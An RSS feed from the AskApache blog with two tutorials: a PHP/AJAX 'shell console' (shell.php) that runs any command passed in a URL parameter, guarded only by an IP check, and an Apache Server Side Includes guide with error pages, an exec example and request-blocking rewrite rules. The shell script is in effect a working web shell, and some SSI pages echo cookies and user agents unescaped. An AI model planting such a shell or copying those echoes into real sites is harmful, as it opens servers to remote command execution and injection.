<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AskApache &#187; Search Results  &#187;  http-equiv</title>
	<atom:link href="http://www.askapache.com/search/http-equiv/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.askapache.com</link>
	<description>Advanced Web Development</description>
	<lastBuildDate>Thu, 26 Apr 2012 11:29:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>PHP and AJAX shell console</title>
		<link>http://www.askapache.com/hacking/php-ajax-shell-console.html</link>
		<comments>http://www.askapache.com/hacking/php-ajax-shell-console.html#comments</comments>
		<pubDate>Sun, 14 Jun 2009 01:01:15 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.askapache.com/tools/php-and-ajax-shell-console.html</guid>
		<description><![CDATA[<p><a class="IFL" id="id22" href='http://www.askapache.com/ajax/php-and-ajax-shell-console.html' title='PHP AJAX shell console'></a> Ever wanted to execute commands on your server through php? Now you can.  I'm calling this file (see below) shell.php and it allows you to run commands on your web server with the same permissions that your php executable has.<br class="C" /></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/hacking/php-ajax-shell-console.html"></a><a href="http://www.askapache.com/hacking/php-ajax-shell-console.html"><cite>AskApache.com</cite></a></p><p>Ever wanted to execute commands on your server through php to mimick a shell login? <strong>Now you can.</strong>  I'm calling this file (see below) shell.php and it allows you to run commands on your web server with the same permissions that your php executable has.</p>
<p id="aaflash"><span class="v640"><span id="phpajaxshell"><span class="load">Loading Video</span><a rel="nofollow" class="getFlash" href="http://www.askapache.com/getflash/"></a></span></span></p>



<h2>PHP for <code>shell.php</code></h2>
<p>Substitue 1.1.1.1 for your IP address.. or see below for password authentication methods.</p>
<pre>&lt;?php
 if ($_SERVER[&#039;REMOTE_ADDR&#039;] !== &#039;1.1.1.1&#039;) die();
 ob_start();
 if (!empty($_GET[&#039;cmd&#039;])){
 $ff=$_GET[&#039;cmd&#039;];
 #shell_exec($ff);
 system($ff);
 #exec($ff);
 #passthru($ff);
 }
 else {
?&gt;
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
&lt;title&gt;PHP AJAX Shell&lt;/title&gt;
&lt;script type="text/javascript" language="javascript"&gt;var CommHis=new Array();var HisP;
function doReq(_1,_2,_3){var HR=false;if(window.XMLHttpRequest){HR=new XMLHttpRequest();if(HR.overrideMimeType){HR.overrideMimeType("text/xml");}}
else{if(window.ActiveXObject){try{HR=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{HR=new ActiveXObject("Microsoft.XMLHTTP");}
catch(e){}}}}if(!HR){return false;}HR.onreadystatechange=function(){if(HR.readyState==4){
if(HR.status==200){if(_3){eval(_2+"(HR.responseXML)");}else{eval(_2+"(HR.responseText)");}}}};HR.open("GET",_1,true);HR.send(null);}
function pR(rS){var _6=document.getElementById("outt");var _7=rS.split("\n\n");
var _8=document.getElementById("cmd").value;_6.appendChild(document.createTextNode(_8));
_6.appendChild(document.createElement("br"));for(var _9 in _7){var _a=document.createElement("pre");
_a.style.display="inline";line=document.createTextNode(_7[_9]);_a.appendChild(line);_6.appendChild(_a);
_6.appendChild(document.createElement("br"));}_6.appendChild(document.createTextNode(":-&gt; "));_6.scrollTop=_6.scrollHeight;
document.getElementById("cmd").value="";}function keyE(_b){switch(_b.keyCode){
case 13:var _c=document.getElementById("cmd").value;if(_c){CommHis[CommHis.length]=_c;HisP=CommHis.length;var _d=document.location.href+"?cmd="+escape(_c);
doReq(_d,"pR");}break;
case 38:if(HisP&gt;0){HisP--;document.getElementById("cmd").value=CommHis[HisP];}break;
case 40:if(HisP&lt;commHis.length-1){HisP++;document.getElementById("cmd").value=CommHis[HisP];}break;default:break;}}
&lt;/script&gt;&lt;/head&gt;&lt;body style="font-family:courier"&gt;
&lt;form onsubmit="return false" style="color:#3F0;background:#000;position:relative;min-height:450px;max-height:490px"&gt;
&lt;div id="outt" style="overflow:auto;padding:5px;height:90%;min-height:450px;max-height:490px"&gt;:-&gt;&lt;/div&gt;
&lt;input tabindex="1" onkeyup="keyE(event)" style="color:#FFF;background:#333;width:100%;" id="cmd" type="text" /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
&lt;?php } ?&gt;</pre>


<h2>Read this</h2>
<p><strong>Note</strong>:  The history feature works by remembering the last commands that you typed.. Access them by pressing the up or down arrows on your keyboard.</p>
<p>This is not an interactive session, so you cannot cd to a directory and then do stuff in that directory..  You may however be able to do stuff like <code>/bin/bash -c "cd ../../;mv this there;ls -la;"</code> or you could try exporting your current dir or something..</p>
<p>Writing shell scripts and serving them on your web server works by renaming the file.sh to file.cgi and chmodding it to 750 or +x.   Also make sure you try <code>dos2unix -dv file.cgi</code> If you can't get it to work.. </p>


<h3>Example shell script as cgi</h3>
<pre>#!/bin/sh
export MYBNAME=`date +%mx%dx%y-%Hx%M.tgz`
tar -czf ${HOME}/backups/${MYBNAME} ${HOME}/site1/
exit 0;</pre>


<h2>Locking Down Access to your shell.php</h2>
<p>Thanks to the comment by Andrew Ramsden, Here are a couple ways to secure your shell.php file so that only you can run this script.</p>

<h3>Secure your remote shell by adding this to your shell.php</h3>
<p>Add this line to the very top of your shell.php file to make sure that only you can access this script.  Everyone else sees a blank screen.</p>
<pre>if ($_SERVER[&#039;REMOTE_ADDR&#039;] !== &#039;1.1.1.1&#039;) die();</pre>


<h3>Secure your remote shell with htaccess</h3>
<p>This only allows access from IP 1.1.1.1 and redirects everyone else.  See <a href="http://www.askapache.com/htaccess/apache-authentication-in-htaccess.html#using-allow-directive-in-apache" title="allow directive in apache htaccess">Using the Allow Directive in Apache htaccess</a> for more info.</p>
<pre>Order deny,allow
Deny from all
Allow from 1.1.1.1
ErrorDocument 403 http://www.askapache.com</pre>


<h2>Secure your remote shell with mod_rewrite and htaccess</h2>
<p>Based on the code from <a href="http://www.askapache.com/htaccess/htaccess-for-webmasters.html#redirect-except-1-ip-mod-rewrite" title="Apache htaccess tutorial">htaccess article</a>  This only allows access from user with IP of 1.1.1.1 and redirects everyone else.</p>
<pre>RewriteEngine On
RewriteBase /
RewriteCond %{REMOTE_HOST} !^1\.1\.1\.1
RewriteRule .* http://www.askapache.com [R=302,L]</pre><p><a href="http://www.askapache.com/hacking/php-ajax-shell-console.html"></a><a href="http://www.askapache.com/hacking/php-ajax-shell-console.html">PHP and AJAX shell console</a> originally appeared on <cite>AskApache.com</cite> </p>]]></content:encoded>
			<wfw:commentRss>http://www.askapache.com/hacking/php-ajax-shell-console.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>SSI in Htaccess for ErrorDocuments, DirectoryIndexing, SEO</title>
		<link>http://www.askapache.com/htaccess/advanced-htaccess-ssi.html</link>
		<comments>http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#comments</comments>
		<pubDate>Mon, 09 Mar 2009 08:02:02 +0000</pubDate>
		<dc:creator>AskApache</dc:creator>
				<category><![CDATA[Htaccess]]></category>

		<guid isPermaLink="false">http://www.askapache.com/?p=2236</guid>
		<description><![CDATA[<p><a class="IFL" href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-directory" title="Improved Directory Listings and SEO"><img src="http://uploads.askapache.com/2009/03/htaccess-directory-index-116x76.png" alt="htaccess directory indexing" title="Improved Directory Listings and SEO" width="116" height="76" /></a><a class="IFL" style="border-bottom:15px solid #FFF;" href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-error" title="Enhanced Error Pages"><img src="http://uploads.askapache.com/2009/03/example-errordocument-116x67.png" alt="ErrorDocument from .htaccess" title="Enhanced Error Pages" width="116" height="67" /></a>3-Part article covering practical implementation of 3 advanced .htaccess features.   Discover an easy way to <a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-directory">boost your SEO the <dfn title="Design your site for Humans">AskApache way</dfn></a> (<em>focus on visitors</em>), a tip you might keep and use for life. <a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-security">Get some cool security tricks</a> to use against spammers, crackers, and other nefarious sorts.  <a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-error">Take your site's error handling to the next level</a>, enhanced ErrorDocuments that go beyond 404's. <br class="C" /></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html"></a><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html"><cite>AskApache.com</cite></a></p><p><acronym title="Server Side Includes">SSI</acronym>, Server Side Includes, can be very useful to webmasters and visitors alike.  They are easily set up in an .htaccess file and require little to no maintaining.. the term "Set it and Forget it" applies here.  Before we look at how to implement SSI, and dig into the Apache module that makes them possible, lets look at few uses for SSI so you can quickly determine if you would like to read further.</p>
<ol>
	<li><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-directory">Improved Directory Listings and SEO</a></li>
	<li><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-error">Enhanced Error Pages</a></li>
	<li><a href="http://www.askapache.com/htaccess/advanced-htaccess-ssi.html#htaccess-ssi-security">Dealing with Spam and Website Attacks</a></li>
</ol>



<hr class="C" />

<h2><a name="htaccess-ssi-directory" id="htaccess-ssi-directory"></a>Improved Directory Listings and SEO</h2>
<p><a class="IFL" href="http://uploads.askapache.com/2009/03/htaccess-directory-index.png" title="htaccess directory indexing"><img src="http://uploads.askapache.com/2009/03/htaccess-directory-index-116x76.png" alt="htaccess directory indexing" title="htaccess directory indexing" /></a>One way that I use SSI is for improved Directory Listing.  Anyone here like SEO?  Check out my <a href="http://uploads.askapache.com/">WordPress uploads directory</a> to get an idea.  Basically I can customize the header and footer of each directory..  Pretty sweet, thanks Apache!<br class="C" /></p>
<p>In your <code>/uploads/.htaccess</code></p>
<pre># turn on auto-indexing and turn off SSI&#039;s ability to exec
Options None
Options SymLinksIfOwnerMatch Indexes IncludesNOEXEC
&nbsp;
# we need to make sure files are displayed when requested, not executed or parsed
AddType text/plain .ini .sh .bsh .bash .csh .var .asc .md5 .sha .sha1 .cgi .pl .php .inc .asp .exe .bin
DefaultType text/plain
&nbsp;
# turn on auto-indexing, with askapache-optimized options
IndexOptions FancyIndexing SuppressColumnSorting SuppressHTMLPreamble IconHeight=22 IconWidth=20
IndexOptions IgnoreClient NameWidth=40 DescriptionWidth=* XHTML FoldersFirst
&nbsp;
# don&#039;t show these files and folders
IndexIgnore .htaccess .ht* *_notes *.log feed inc HEADER.html FOOTER.html feed*.gif
&nbsp;
# the SSI files used for the header and footer
HeaderName /ssi/HEADER.html
ReadmeName /ssi/FOOTER.html
&nbsp;
# used to determine the time and for SSI output
SetEnv TZ America/Indianapolis
SetEnv SERVER_ADMIN webmaster@askapache.com</pre>

<p>In your <code>/ssi/.htaccess</code></p>
<pre># makes files ending in .html be filtered through the INCLUDES filter before being sent to client
AddOutputFilter Includes html</pre>

<p>My <code>HEADER.html</code></p>
<pre>&lt;!--#set var="PAGETITLE" value="-- static.askapache.com" --&gt;
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;&lt;!--#echo encoding="none" var="REQUEST_URI" --&gt; &lt;!--#echo encoding="none" var="PAGETITLE" --&gt;&lt;/title&gt;
  &lt;meta http-equiv="content-type" content="text/html; charset=UTF-8" /&gt;
  &lt;link rel="stylesheet" href="http://static.askapache.com/c/error.css" /&gt;
  &lt;link rev="made" href="mailto:&lt;!--#echo encoding="url" var="SERVER_ADMIN" --&gt;" /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;&lt;a href="http://www.askapache.com/" title="AskApache Home" accesskey="1"&gt;
&lt;img src="http://www.askapache.com/nlogo.jpg" height="75" alt="AskApache" /&gt;
&lt;/a&gt; &lt;!--#echo encoding="url" var="REQUEST_URI" --&gt; &lt;!--#echo encoding="none" var="PAGETITLE" --&gt;&lt;/h1&gt;
&lt;hr /&gt;</pre>

<p>My <code>FOOTER.html</code></p>
<pre>&lt;p&gt;Find the information you are looking for on the &lt;a href="http://www.askapache.com/"&gt;AskApache Home page&lt;/a&gt;
or the &lt;a href="http://www.askapache.com/search&lt;!--#echo encoding="url" var="REQUEST_URI" --&gt;"&gt;
AskApache search page&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;address&gt;
  &lt;small&gt;$Id:&lt;!--#echo encoding="none" var="UNIQUE_ID" --&gt; E:&lt;!--#echo encoding="none" var="REDIRECT_STATUS" --&gt;,v 1.30
&lt;!--#config timefmt="%c" --&gt;&lt;!--#echo var="DATE_LOCAL" --&gt;&lt;/small&gt;&lt;br /&gt;
  &lt;small&gt;&lt;!--#echo var="SERVER_SOFTWARE" --&gt;&lt;/small&gt;&lt;br /&gt;&lt;br /&gt;
  static.askapache.com -- AskApache | &lt;a href="http://www.askapache.com/about/"&gt;Webmaster&lt;/a&gt;
| Copyright &amp;copy; 2009 AskApache&lt;br /&gt;
&lt;/address&gt;
&lt;!--#if expr="$REMOTE_ADDR = 10.10.10.10" --&gt;
&lt;pre &gt;&lt;!--#printenv --&gt;&lt;/ pre&gt;
&lt;!--#endif --&gt;
&lt;script src="http://static.askapache.com/j/apache-0780.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;var pageTracker = _gat._getTracker("UA-7"+"321"+"53-38");
pageTracker._initData();pageTracker._trackPageview();&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>



<h2><a name="htaccess-ssi-error id="htaccess-ssi-error></a>Enhanced Error Pages</h2>
<p><a class="IFL" href="http://uploads.askapache.com/2009/03/example-errordocument.png" title="htaccess-errordocument"><img src="http://uploads.askapache.com/2009/03/example-errordocument-116x67.png" alt="ErrorDocument from .htaccess" title="htaccess-errordocument" /></a>If you are using WordPress, I'm sure you are using my <a href="http://www.askapache.com/seo/404-google-wordpress-plugin.html">AskApache Google 404 Plugin</a>, but whatever your <a href="http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html">error pages</a> may be, using SSI you can make them better.  My 404 Error Page is handled by WordPress and PHP, but all of my other error pages (codes 4xx to 5xx) are handled using SSI.  You can check out any of them: <a href="http://www.askapache.com/show-error-400">/show-error-400</a>, <a href="http://www.askapache.com/show-error-400">/show-error-403</a>, <a href="http://www.askapache.com/show-error-500">/show-error-503</a>, etc..<br class="C" /></p>
<p>Notice the email note which has the subject prefilled?  Thats one of the main uses for SSI, you can add forms to your errordocuments and get notified of problems which mean you can fix them.</p>

<p>Add this to your <code>/.htaccess</code> for each <code>ErrorDocument</code> you make.</p>
<pre>ErrorDocument 503 /errordocs/503.html</pre>

<p>My <code>/errordocs/.htaccess</code></p>
<pre># turn on symlinks for rewrites and turn off SSI&#039;s ability to exec
Options None
Options SymLinksIfOwnerMatch IncludesNOEXEC
&nbsp;
# makes files ending in .html be filtered through the INCLUDES filter before being sent to client
AddOutputFilter Includes html
&nbsp;
# this internal apache variable prevents your errordocs from allowing keep-alive connections
SetEnv nokeepalive
&nbsp;
# used to determine the time and for SSI output
SetEnv TZ America/Indianapolis
SetEnv SERVER_ADMIN webmaster@askapache.com</pre>

<p>My <code>/errordocs/503.html</code></p>
<pre>&lt;!--#set var="TITLE" value="Service Temporarily Unavailable" --&gt;
&lt;!--#include virtual="/errordocs/TOP.html" --&gt;
&lt;p&gt;The server is temporarily unable to service your
request due to &lt;strong&gt;maintenance downtime&lt;/strong&gt;
or super-crazy-extreme capacity problems. Please try
again later... Or &lt;a href="mailto:&lt;!--#echo encoding="url" var="SERVER_ADMIN" --&gt;"&gt;send me an email&lt;/a&gt; and let me know about it..&lt;/p&gt;
&lt;!--#include virtual="/errordocs/BOTTOM.html" --&gt;</pre>

<p>My <code>/errordocs/TOP.html</code></p>
<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;&lt;!--#echo encoding="none" var="REQUEST_URI" --&gt; &lt;!--#echo encoding="none" var="TITLE" --&gt;&lt;/title&gt;
  &lt;meta http-equiv="content-type" content="text/html; charset=UTF-8" /&gt;
  &lt;link rel="stylesheet" href="http://static.askapache.com/c/error.css" /&gt;
  &lt;link rev="made" href="mailto:&lt;!--#echo encoding="url" var="SERVER_ADMIN" --&gt;" /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;&lt;a href="http://www.askapache.com/" title="AskApache Home" accesskey="1"&gt;&lt;img src="http://www.askapache.com/nlogo.jpg" height="75" alt="AskApache" /&gt;
&lt;/a&gt; &lt;!--#echo encoding="url" var="REQUEST_URI" --&gt; &lt;!--#echo encoding="none" var="TITLE" --&gt;&lt;/h1&gt;
&lt;hr /&gt;</pre>


<p>My <code>/errordocs/BOTTOM.html</code></p>
<pre>&lt;p&gt;If this should not be an error please &lt;a href="mailto:webmaster@askapache.com?subject=ID#&lt;!--#echo encoding="none" var="UNIQUE_ID" --&gt;"&gt;email&lt;/a&gt; me right away.&lt;/p&gt;
&lt;!--#if expr="$HTTP_REFERER" --&gt;
&lt;p&gt;You came from &lt;!--#echo var="HTTP_REFERER"--&gt;&lt;/p&gt;
&lt;!--#endif --&gt;
&lt;p&gt;If you still have a question, please try to find the information you are looking
for on the &lt;a href="http://www.askapache.com/"&gt;AskApache Home page&lt;/a&gt; or
the &lt;a href="http://www.askapache.com/search/"&gt;AskApache search page&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;address&gt;
  &lt;a href="http://www.askapache.com/about/"&gt;Webmaster&lt;/a&gt;
  $Id:&lt;!--#echo encoding="none" var="UNIQUE_ID" --&gt; Error-&lt;!--#echo encoding="none" var="REDIRECT_STATUS" --&gt;,v 1.30 &lt;!--#config timefmt="%c" --&gt;&lt;!--#echo var="DATE_LOCAL" --&gt;&lt;br /&gt;
  &lt;!--#echo var="SERVER_SOFTWARE" --&gt;
&lt;/address&gt;
&lt;!--#if expr="$REMOTE_ADDR = 10.10.10.10" --&gt;
&lt;pre &gt;&lt;!--#printenv --&gt;&lt;/ pre&gt;
&lt;!--#endif --&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>


<h2><a name="htaccess-ssi-security" id="htaccess-ssi-security"></a>Dealing with Spam and Website Attacks</h2>
<p><a class="IFL" href="http://uploads.askapache.com/2009/03/htaccess-f-off.png" title="htaccess f-off"><img src="http://uploads.askapache.com/2009/03/htaccess-f-off-350x273.png" alt="htaccess SSI to scare spammers and crackers" title="htaccess f-off" /></a>Say you are using some nice <a href="http://www.askapache.com/htaccess/htaccess-plugin-blocks-spam-hackers-and-password-protects-blog.html">.htaccess rewrite</a> rules to block offending bots, web scrapers, and other nefarious net characters.  Instead of just sending a 403 Denied, you could send them to be handled by an SSI document that could do any number of things.. From adding the offending bot's IP address to the .htaccess Deny List (blacklisting), emailing you with an alert, emailing the IP Block Owner, executing a denial-of-service response ala <a href="http://www.xav.com/scripts/guardian/help/1013.html">guardian</a> (<em>script will return an artificially high Content-Length, and will then spoon-feed content bytes back to the client at a rate of one byte per second, for single-threaded or fixed-threadpool clients, this will hang all of their requests and render the attack inoperable</em>), or just output a frightening looking message which usually does the trick if the bot is humanoid.<br class="C" /></p>
<pre>RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /.*\?\=?(http|ftp|ssl|https):/.*\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /.*\?\?.*\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /.*\.(asp|ini|dll).*\ HTTP/ [NC]
RewriteRule .* - [F]
&nbsp;
ErrorDocument 403 /errordocs/f-off.html</pre>

<p>Example <code>/errordocs/f-off.html</code>  <a href="http://static.askapache.com/f-off">View it Live</a> (<em>Not Responsible for mental or physical harm caused by fright</em>)</p>
<pre>&lt;html&gt;&lt;head&gt;&lt;title&gt;WARNING &lt;!--#echo encoding="none" var="REMOTE_ADDR" --&gt;
- SECURITY TEAM ALERTED&lt;/title&gt;&lt;/head&gt;&lt;body&gt;
&lt;h2&gt;ATTENTION &lt;!--#echo encoding="none" var="REMOTE_ADDR" --&gt;&lt;/h2&gt;
&lt;p&gt;You have been flagged by our system as a potential threat.&lt;/p&gt;
&lt;p&gt;This request has been logged and the Security Team has been notified.&lt;br /&gt;
Repeated attempts from IP address &lt;strong&gt;&lt;!--#echo encoding="none" var="REMOTE_ADDR" --&gt;&lt;/strong&gt; will result &lt;br /&gt;
in the IP automatically being &lt;strong&gt;blacklisted&lt;/strong&gt; on this server&lt;br /&gt;
and sent to blacklists around the world.  Additionally, the Security Team&lt;br /&gt;
WILL alert the IP Address Block Owner and/or contact the authorities.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&nbsp;
&lt;h3&gt;LOGGED INFORMATION FROM THIS REQUEST&lt;/h3&gt;
&lt; pre&gt;
REMOTE_ADDR   :  &lt;!--#echo encoding="none" var="REMOTE_ADDR" --&gt;
REMOTE_PORT   :  &lt;!--#echo encoding="none" var="REMOTE_PORT" --&gt;
REQUEST_METHOD:  &lt;!--#echo encoding="none" var="REQUEST_METHOD" --&gt;&lt;!--#if expr="$HTTP_REFERER"
--&gt;
REFERER       :  &lt;!--#echo encoding="url" var="HTTP_REFERER" --&gt;&lt;!--#endif
--&gt;
REQUEST_URI   :  &lt;!--#echo encoding="url" var="REQUEST_URI" --&gt;&lt;!--#if expr="$HTTP_USER_AGENT"
--&gt;
USER_AGENT    :&lt;/ pre&gt;
&lt; pre style="white-space:normal;margin-left:150px;max-width:80%;"&gt;  &lt;!--#echo encoding="none" var="HTTP_USER_AGENT" --&gt;
&lt;/ pre&gt;
&lt; pre&gt;&lt;!--#endif
--&gt;&lt;!--#if expr="$HTTP_COOKIE"
--&gt;
COOKIES       :&lt;/ pre&gt;
&lt; pre style="white-space:normal;margin-left:150px;max-width:80%;"&gt;  &lt;!--#echo encoding="none" var="HTTP_COOKIE" --&gt;
&lt;/ pre&gt;
&lt; pre&gt;&lt;!--#endif
--&gt;&lt;!--#if expr="$QUERY_STRING"
--&gt;
QUERY_STRING  :  &lt;!--#echo encoding="url" var="QUERY_STRING" --&gt;&lt;!--#endif
--&gt;
&lt;/ pre&gt;&lt;/body&gt;&lt;/html&gt;</pre>

<hr class="C" />



<h2>Server Side Includes Detailed Info</h2>
<p>Ok now that we have the real-world usage out of the way, lets dig in a bit to the actual module <a style="color:#222;" href='http://static.askapache.com/servers/mod_include.c'>mod_include</a>, which if you want you can <a href="http://static.askapache.com/servers/mod_include.c.html">view the source code here</a>.</p>

<h3>Enabling Server-Side Includes</h3>
<p>Server Side Includes are implemented by the INCLUDES filter.  For backwards compatibility, the server-parsed handler also activates the INCLUDES filter. As well, Apache will activate the INCLUDES filter for any document with mime type text/x-server-parsed-html or text/x-server-parsed-html3 (and the resulting output will have the mime type text/html).  If documents containing server-side include directives are given the extension .shtml, the following directives will make Apache parse them and assign the resulting document the mime type of text/html:</p>
<pre>AddType text/html .shtml
AddOutputFilter INCLUDES .shtml</pre>
<p>The following directive must be given for the directories containing the shtml files (typically in a <directory> section, but this directive is also valid in <a href="http://www.askapache.com/htaccess/htaccess.html">.htaccess files</a> if AllowOverride Options is set):</p>
<pre>Options +Includes</pre>

<h3>Server-Side Include Directives</h3>
<p>These are the Directives allowed in .htaccess files that are handled by <a href="http://httpd.apache.org/docs/1.3/mod/mod_include.html">mod_include</a>.  Note that other modules may add additional directives, for instance the <code>exec</code> SSI Directive is supplied by <a href="http://httpd.apache.org/docs/trunk/mod/mod_cgi.html">mod_cgi</a>.  This is how mod_cgi registers with mod_include to provide processing of the <code>exec</code> directive.  This is the code required to handle the "exec" SSI directive.</p>
<pre>cgi_pfn_reg_with_ssi = APR_RETRIEVE_OPTIONAL_FN(ap_register_include_handler);
cgi_pfn_reg_with_ssi("exec", handle_exec);
static const char * const aszPre[] = { "mod_include.c", NULL };</pre>
<dl>
<dt><code>config</code></dt>
<dd>Controls various aspects of the parsing.</p>
<pre>&lt;!--#config [timefmt="..."] [sizefmt="..."] [errmsg="..."] --&gt;
&lt;!--#config [echomsg="..."] --&gt;
&lt;!--#config errmsg="[It appears that you don&#039;t know how to use SSI]" --&gt;</pre>
<dl>
<dt><code>echomsg</code></dt>
<dd>(<em>since 2.1</em>) The value is a message that is sent back to the client if the <code>&lt;a href="#element.echo"&gt;echo&lt;/a&gt;</code> element attempts to echo an undefined variable. This overrides any <code class='directive'>&lt;a href="#ssiundefinedecho"&gt;SSIUndefinedEcho&lt;/a&gt;</code> directives.</dd>
<dt><code>errmsg</code></dt>
<dd>The value is a message that is sent back to the client if an error occurs while parsing the document. This overrides any <code class='directive'>&lt;a href="#ssierrormsg"&gt;SSIErrorMsg&lt;/a&gt;</code> directives.</dd>
<dt><code>sizefmt</code></dt>
<dd>The value sets the format to be used which displaying the size of a file. Valid values are <code>bytes</code> for a count in bytes, or <code>abbrev</code> for a count in Kb or Mb as appropriate, for example a size of 1024 bytes will be printed as "1K".</dd>
<dt><code>timefmt</code></dt>
<dd>The value is a string to be used by the <code>strftime(3)</code> library routine when printing dates.</dd>
</dl>
</dd>
<dt><code>echo</code></dt>
<dd>Prints one of the include variables. If the variable is unset, the result is determined by the SSIUndefinedEcho directive.</p>
<pre class='a'>&lt;!--#echo [encoding="none|url|entity"] var="..." [encoding="none|url|entity"] var="..." ... --&gt;</pre>
<dl>
<dt><code>var</code></dt>
<dd>The value is the name of the variable to print.</dd>
<dt><code>encoding</code></dt>
<dd>
<p>Specifies how Apache should encode special characters contained in the variable before outputting them. If set to <code>none</code>, no encoding will be done. If set to <code>url</code>, then URL encoding (also known as %-encoding; this is appropriate for use within URLs in links, etc.) will be performed. The default is set to <code>entity</code>, resulting in entity encoding.</p>
</dd>
</dl>
</dd>
<dt><code>exec</code></dt>
<dd>Execute external programs</p>
<pre>&lt;!--#exec cgi="/cgi-bin/s.cgi" --&gt;
&lt;!--#exec cmd="ls" --&gt;
&lt;!--#include virtual="/cgi-bin/s.cgi?argument=value" --&gt;
&lt;!--#exec cmd="perl /cgi-bin/s.pl args" --&gt;</pre>
</dd>
<dt><code>include</code></dt>
<dd>Include a file</p>
<pre class='a'>&lt;!--#include virtual|file="..." [virtual|file="..."] ... --&gt;</pre>
</dd>
<dt><code>printenv</code></dt>
<dd>Print all available variables</p>
<pre>&lt;!--#printenv --&gt;</pre>
</dd>
<dt><code>set</code></dt>
<dd>Set a value of a variable.</p>
<pre class='a'>&lt;!--#set var="..." value="..." ... --&gt;
&lt;!--#set var="modified" value="$LAST_MODIFIED" --&gt;
&lt;!--#set var="name" value="AskApache" --&gt;
&lt;!--#set var="date" value="${DATE_LOCAL}_${DATE_GMT}" --&gt;</pre>
</dd>
<dt><code>flastmod</code></dt>
<dd>Prints the last modification date of the specified file, subject to the timefmt format specification.</p>
<pre>&lt;!--#flastmod virtual|file="..." [virtual|file="..."] ... --&gt;</pre>
</dd>
<dt><code>fsize</code></dt>
<dd>Prints the size of the specified file, subject to the sizefmt format specification.</p>
<pre class='a'>&lt;!--#fsize virtual|file="..." [virtual|file="..."] ... --&gt;</pre>
</dd>
<dt><code>if</code></dt>
<dd>The if element works like an if statement in a programming language. The test condition is evaluated and if the result is true, then the text until the next elif, else or endif element is included in the output stream.</p>
<pre>&lt;!--#if expr="..." --&gt;
&lt;!--#if expr="${REMOTE_USER} &amp;&amp; ${HTTP_USER_AGENT}" --&gt;</pre>
<pre>&lt;!--#if expr="test_condition" --&gt;
&lt;!--#elif expr="test_condition" --&gt;
&lt;!--#else --&gt;
&lt;!--#endif --&gt;</pre>
</dd>
<dt><code>elif</code></dt>
<dd>Used to put text into the output stream if the original test_condition was false. </p>
<pre class='a'>&lt;!--#elif expr="..." --&gt;</pre>
</dd>
<dt><code>else</code></dt>
<dd>Used to put text into the output stream if the original test_condition was false.</p>
<pre>&lt;!--#else --&gt;</pre>
</dd>
<dt><code>endif</code></dt>
<dd>Ends the if element and is required.</p>
<pre class='a'>&lt;!--#endif --&gt;</pre>
</dd>
</dl>


<h3>.htaccess directives</h3>
<ol>
<li>XBitHack</li>
<li>SSIErrorMsg</li>
<li>SSITimeFormat</li>
<li>SSIStartTag</li>
<li>SSIEndTag</li>
<li>SSIUndefinedEcho</li>
<li>SSIAccessEnable</li>
</ol>


<h3>mod_include Default SSI Values</h3>
<dl>
<dt><code>START_SEQUENCE</code></dt>
<dd><code>&lt;!--#</code> - The starting tag for mod_include to recognize and parse as SSI.</code></dd>
<dt><code>END_SEQUENCE</code></dt>
<dd><code>--&gt;</code> - The ending tag for mod_include to recognize and parse as SSI.</dd>
<dt><code>ERROR_MSG</code></dt>
